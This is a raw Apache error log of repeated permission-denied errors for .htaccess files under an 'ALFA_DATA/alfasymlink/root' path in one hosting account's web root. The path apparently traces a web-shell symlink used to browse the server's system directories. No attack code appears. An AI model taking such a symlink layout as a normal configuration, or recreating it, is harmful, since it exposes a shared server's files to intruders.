[Mon Oct 26 13:29:30.922118 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/' is executable
[Mon Oct 26 13:29:30.922131 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/wBeybsLHXV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/wBeybsLHXV/' is executable
[Mon Oct 26 13:29:30.922151 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/8q2sCydPh5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/8q2sCydPh5/' is executable
[Mon Oct 26 13:29:30.922165 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ViFEAD6HYr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ViFEAD6HYr/' is executable
[Mon Oct 26 13:29:30.922188 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/WnEC8KZtlU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/WnEC8KZtlU/' is executable
[Mon Oct 26 13:29:30.922249 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/hNQbPWd2kD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/hNQbPWd2kD/' is executable
[Mon Oct 26 13:29:30.922277 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/7b1aDEYVIR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/7b1aDEYVIR/' is executable
[Mon Oct 26 13:29:30.922304 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/nL4cUoX2dh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/nL4cUoX2dh/' is executable
[Mon Oct 26 13:29:30.922318 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/atbV7hLAQS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/atbV7hLAQS/' is executable
[Mon Oct 26 13:29:30.922331 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/oq6K0rejFI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/oq6K0rejFI/' is executable
[Mon Oct 26 13:29:30.922343 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_4gGxNj1jq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_4gGxNj1jq/' is executable
[Mon Oct 26 13:29:30.922356 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/PK7EkDXBbp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/PK7EkDXBbp/' is executable
[Mon Oct 26 13:29:30.922368 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/P7NdWo184S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/P7NdWo184S/' is executable
[Mon Oct 26 13:29:30.922429 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/' is executable
[Mon Oct 26 13:29:30.922476 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/1Yt1W3a9Ze/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/1Yt1W3a9Ze/' is executable
[Mon Oct 26 13:29:30.922499 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9rQ4cdkNCQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9rQ4cdkNCQ/' is executable
[Mon Oct 26 13:29:30.922514 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_kkgr6o8ai/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_kkgr6o8ai/' is executable
[Mon Oct 26 13:29:30.922543 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/xjhoijgaTz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/xjhoijgaTz/' is executable
[Mon Oct 26 13:29:30.922559 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/vhrRK1JXY7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/vhrRK1JXY7/' is executable
[Mon Oct 26 13:29:30.922589 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/w1Du8raeKq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/w1Du8raeKq/' is executable
[Mon Oct 26 13:29:30.922614 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/' is executable
[Mon Oct 26 13:29:30.922634 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/4x7GklfLfl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/4x7GklfLfl/' is executable
[Mon Oct 26 13:29:30.922653 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Jv_fJ8FgT6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Jv_fJ8FgT6/' is executable
[Mon Oct 26 13:29:30.922676 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/aWw1loTP0R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/aWw1loTP0R/' is executable
[Mon Oct 26 13:29:30.922692 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/' is executable
[Mon Oct 26 13:29:30.922706 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/rtyBKWjryj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/rtyBKWjryj/' is executable
[Mon Oct 26 13:29:30.922725 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ipRojNggb4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ipRojNggb4/' is executable
[Mon Oct 26 13:29:30.922738 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_NkDK_G3eh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_NkDK_G3eh/' is executable
[Mon Oct 26 13:29:30.922752 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/' is executable
[Mon Oct 26 13:29:30.922771 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/kCf6PZ1WYZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/kCf6PZ1WYZ/' is executable
[Mon Oct 26 13:29:30.922791 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/84lPUOx2JO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/84lPUOx2JO/' is executable
[Mon Oct 26 13:29:30.922805 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/js2u_Gtz2I/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/js2u_Gtz2I/' is executable
[Mon Oct 26 13:29:30.922852 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/' is executable
[Mon Oct 26 13:29:30.922879 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/rqXfNeDxe6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/rqXfNeDxe6/' is executable
[Mon Oct 26 13:29:30.922894 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/NgqDY1QDQC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/NgqDY1QDQC/' is executable
[Mon Oct 26 13:29:30.922925 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/S6oGysmQfR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/S6oGysmQfR/' is executable
[Mon Oct 26 13:29:30.922956 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ssmTYfkWmO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ssmTYfkWmO/' is executable
[Mon Oct 26 13:29:30.922976 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9Hdweni0LQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9Hdweni0LQ/' is executable
[Mon Oct 26 13:29:30.922990 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ZS9bRKE_ln/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ZS9bRKE_ln/' is executable
[Mon Oct 26 13:29:30.923014 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/TI_LDuVRZp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/TI_LDuVRZp/' is executable
[Mon Oct 26 13:29:30.923036 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/HRDPmHzdRv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/HRDPmHzdRv/' is executable
[Mon Oct 26 13:29:30.923071 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/WJiRaJProP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/WJiRaJProP/' is executable
[Mon Oct 26 13:29:30.923089 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/VWx0oIa_ha/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/VWx0oIa_ha/' is executable
[Mon Oct 26 13:29:30.923118 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/' is executable
[Mon Oct 26 13:29:30.923142 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/pulse-PKdhtXMmr18n/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/pulse-PKdhtXMmr18n/' is executable
[Mon Oct 26 13:29:30.923153 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/xim55mZdmP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/xim55mZdmP/' is executable
[Mon Oct 26 13:29:30.923198 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/3RwJFJrH4V/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/3RwJFJrH4V/' is executable
[Mon Oct 26 13:29:30.923213 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/6mRamnU6vq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/6mRamnU6vq/' is executable
[Mon Oct 26 13:29:30.923237 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/' is executable
[Mon Oct 26 13:29:30.923250 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/QY6TdlpePz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/QY6TdlpePz/' is executable
[Mon Oct 26 13:29:30.923291 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/5EdmaNv2PN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/5EdmaNv2PN/' is executable
[Mon Oct 26 13:29:30.923312 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/' is executable
[Mon Oct 26 13:29:30.923356 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/5f_1VQEffJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/5f_1VQEffJ/' is executable
[Mon Oct 26 13:29:30.923371 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/yrMznD9gyg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/yrMznD9gyg/' is executable
[Mon Oct 26 13:29:30.923392 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/i3jxbRrWaA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/i3jxbRrWaA/' is executable
[Mon Oct 26 13:29:30.923435 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/dNfJKz5yvg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/dNfJKz5yvg/' is executable
[Mon Oct 26 13:29:30.923455 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/TI2qwhbKGu/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/TI2qwhbKGu/' is executable
[Mon Oct 26 13:29:30.923494 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/hPKEt7w1PK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/hPKEt7w1PK/' is executable
[Mon Oct 26 13:29:30.923509 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/' is executable
[Mon Oct 26 13:29:30.923522 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/C3vvDGRpTf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/C3vvDGRpTf/' is executable
[Mon Oct 26 13:29:30.923536 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/eTa7v46lM5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/eTa7v46lM5/' is executable
[Mon Oct 26 13:29:30.923557 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/oFkHjdAXTr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/oFkHjdAXTr/' is executable
[Mon Oct 26 13:29:30.923576 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/o1Nn2aP6r8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/o1Nn2aP6r8/' is executable
[Mon Oct 26 13:29:30.923616 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/kEKIbVJwbS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/kEKIbVJwbS/' is executable
[Mon Oct 26 13:29:30.923647 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/xC1whEdMkq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/xC1whEdMkq/' is executable
[Mon Oct 26 13:29:30.923678 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9fqABosYmc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9fqABosYmc/' is executable
[Mon Oct 26 13:29:30.923725 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/lost+found/' is executable
